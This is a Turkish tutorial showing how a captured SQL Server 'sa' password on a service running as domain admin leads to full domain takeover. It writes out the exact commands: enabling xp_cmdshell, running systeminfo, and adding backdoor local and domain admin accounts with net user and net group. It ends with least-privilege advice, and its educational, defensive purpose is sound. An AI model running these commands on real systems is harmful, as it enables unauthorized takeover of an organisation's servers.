Sistem kurulum ve ayarlamalarında ne yazık ki güvenlik konusunu gözardı ettiğimiz durumlar olabiliyor. Bir sistem kurulumunda mümkün olan bütün seçenekleri seçerek tam olsun, eksiksiz olsun diye bütün bileşenleri yükleyebiliyoruz veya servis hesaplarını ayarlarken ilgili servisin ihtiyaç duyduğu yetkilere sahip bir kullanıcı ile çalıştırmak yerine “Administrator” ile çalışsın da yetkilere takılıp başımızı ağrıtmasın deyip tam yetkili bir kullanıcı ile çalıştırabiliyoruz. Ancak ne yazık ki bu baş ağrıtmama gün geliyor ki hem baş ağrıtıyor hem can sıkıyor bazen de sistemi tamamen kaybettiriyor.
Bu yazımızda da bu senaryoya göre ayarlanmış ve domain Admin ile çalıştırılan bir SQL Server servisine ait “sa” şifresi ile neler yapılabileceğine küçük ama bütün sistemi kaybettirecek bir örnek yapacağız.
Senaryomuzda dışarıya açılan ve “Domain\Administrator” veya eş değer bir hesap ile çalışan SQL Server servisine ait “sa” şifresi ile işlem yapıyor olacağız. İşlemlere başlamadan önce not olarak belirtelim: SQL’e bağlanmak için kullandığımız Windows domaine dahil olmayan bir bilgisayardır.
SQL Server’a ele geçirilen “sa” şifresi ile giriş yaptıktan sonra yaptığımız adımları numaralandırarak işlemlerimizi incelemeye başlıyoruz.
Sunucunun Versiyonun Tespiti
select @@VERSION
SQL cümlesi ile bağlanan sistemin versiyon bilgisini elde ediyoruz.
SQL Server versiyon bilgisi alındıktan sonra servisin çalışırken kullandığı hesabın tespitini yapıyoruz.
select servicename, service_account from sys.dm_server_services
Cümlesi ile de servisin bağlı olduğu hesabı öğrendikten sonra artık sahip olduğumuz imkanları da öğrenmiş oluyoruz.
Bu adımdan sonra işlemlerimizde kullanacağımız stored prosedürümüz hakkında kısa bir bilgi verelim. Kullanacağımız prosedürümüz “xp_cmdshell”, bu prosedür kendisine verilen komutu SQL Server makinesinin komut satırında çalıştırmaktadır. Varsayılan olarak pasif durumdadır ve kullanılması için aktifleştirilmesi gerekmektedir.
SQL Server’ın çalışırken kullandığı parametreleri görüntülemek ve düzenlemek için “sp_configure” stored prosedüründen faydalanılır.
“sp_configure” prosedürünün kullanımında da varsayılan olarak gelişmiş parametrelerin görüntülenmesini sağlayan “show advanced options” parametresi pasif durumundadır ve aktifleştirilmesi gerekmektedir. Bunun için aşağıdaki SQL cümlesi çalıştırılır.
exec sp_configure 'show advanced options', 1
reconfigure with override
Herhangi bir parametreyi değiştirdikten sonra devreye girmesi için SQL Server servisinin yeniden başlatılması veya “reconfigure with override” komutu ile anında devreye alınması gerekmektedir. “sp_configure” prosedürünü tekrar parametresiz çalıştırdığımızda da göreceğimiz üzere “xp_cmdshell” pasif durumda ve kullanılması için aktifleştirilmesi gerekmektedir.
exec sp_configure 'xp_cmdshell', 1
reconfigure with override
Artık “xp_cmdshell”de açıldığına göre bir deneme yapalım.
exec xp_cmdshell 'systeminfo'
SQL cümlesi ile sunucuya ait sistem bilgilerine ulaşmayı deneyelim.
Aldığımız bu veriler içerisinde domain adını olması bize artık bütün kapıları açıyor. Artık bu işlemden sonra ister sadece SQL Server makinesine ister domaine kullanıcı ekleyip bu kullanıcıyı “Administrator” yetkileri ile donatabiliriz.
Aşağıdaki SQL cümleleri ile hem local kullanıcı hem domain kullanıcısı oluşturabiliyoruz.
exec xp_cmdshell 'net user cozumpark Password01 /ADD' --Local kullanıcı ekleme
exec xp_cmdshell 'net user cozumpark.d Password01 /ADD /DOMAIN' --Domaine kullanıcı ekleme
Kullanıcılarımızı oluşturduktan sonra aşağıdaki SQL cümleleri ile oluşturduğumuz kullanıcıları local admin ve domain admin yapabiliyoruz.
exec xp_cmdshell 'net localgroup Administrators cozumpark /ADD' --kullanıcıyı local admin yapma
exec xp_cmdshell 'net group "Domain Admins" cozumpark.d /ADD /DOMAIN' --kullanıcıyı domain admin yapma
Kullanıcılarımızı da oluşturup tam yetki ile donattığımıza göre artık başta sadece “sa” şifresini bildiğimiz bir SQL Server üzerinden kurumun bütün sunucuları üzerinde tam yetkiliyiz.
Peki buraya kadar gelen biri sistemde neler yapabilir? Elcevap, her şeyi yapabilir. Peki neler yapamaz? Elcevap, hiç birşey…
Sistem ve servis kurulumlarında değişmez ve değiştirilemez kuralımız her zaman şu olmalıdır: Kimin neye ihtiyacı varsa sadece o kadar yetki ile donatılmalıdır. Domainden sadece veri okuyacak bir servisi yetkilere takılmasın deyip “Administrator” ile çalıştırmak çalışmamızda da gördüğümüz geri dönüşü olmayan zararlara sebep olabilir. Peki buna önle olarak neler yapılabilir: Aslında benim bu soruya tavsiyem şudur, her servise özgü bir hesap açıp onunla çalıştırmak. Belki ilk kurulum için bir miktar iş miktarının artmasına ve zaman kaybına sebep oluyor gibi olsa da en azından baş ağrıtmaz.